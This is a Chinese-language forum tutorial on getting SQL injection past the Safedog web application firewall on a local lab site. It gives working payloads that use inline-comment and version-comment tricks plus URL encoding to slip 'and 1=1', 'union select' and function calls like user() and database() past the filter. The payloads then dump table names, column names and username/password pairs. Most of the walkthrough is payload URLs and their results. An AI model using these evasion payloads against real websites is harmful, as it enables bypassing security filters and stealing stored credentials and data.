本文大致內容
+思路以及想法
-四重注釋繞過safedog
+實戰繞過
-繞過and 1=1
-繞過union+select
-爆錶
-爆欄位
-讀內容
prat 2
測試程式碼:
[PHP]純文字查看複製程式碼
繞過and 1=1
發現慘遭攔截,首先讓我們來看一下他攔截什麼,不攔截什麼。
and 不攔截
and 1 攔截
and 1 = 攔截
and 1 = 1 攔截
由此可見,只要and後面出現數位或者成立一個等式那麼他就攔截,那我們用/**/注釋來繞過一下看看
/**/aNd/**//**/'a'/**/ = /**/'a'/**/
注釋包含把1=1替換成‘a’=‘a’就得到了url:
重點:返回不正常(等式不等)並且發現狗就不攔截了,可見注釋方法還是如此任性
Order by
我發現我裝的狗是不會攔截order by的,所以也就沒繞,有需求在說。
欄位為3,接下來爆庫,當前用戶。
繞過union+select
同樣,先看一下他攔截什麼。
union不攔截
select不攔截
union select攔截
很明顯,我們只需要在union與select之間處理一下就可以了。
首先使用/!50000/注釋包含/!/然後使用/**/與/–*/打亂一下結構,在稍微進行一下編碼處理就可以了
可以發現,已經正常顯示數位,並且狗沒有攔截。什麼?你說沒看懂?那麼看下圖
折開一下就發現其實很好理解,使用()把select的內容包起來。
爆庫
http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/---
發現又特麼攔截了,很明顯,他會攔截一些常用系統函數(還有許多就不列出來了,列出常用的)
1. version()——MySQL版本
2. user()——資料庫用戶名
3. database()——資料庫名
4. @@datadir——資料庫路徑
5. @@version_compile_os——作業系統版本
既然已經知道了攔截什麼,那麼繞他還難麼,掏出/**/注釋大法。
在user(),database()之間處理以下。
那麼就成為了
user/**/(/**/)
database/**/(/**/)
完整url:
http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/---
正常爆出資料庫跟當前用戶
爆錶
發現我本身的狗可能有點問題,他不攔截from,於是也沒有繞,還是那句話,需要啥,繞啥。
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1---
得到Table
emails
referers
uagents
Users
爆欄位
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1---
得到column
id
username
Password
讀內容
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1---
Dump
Dumb#Dumb
術語:
寫文章不易,不喜勿噴!!! -------------------3Q
來自群組:i春秋帥哥靚女快活地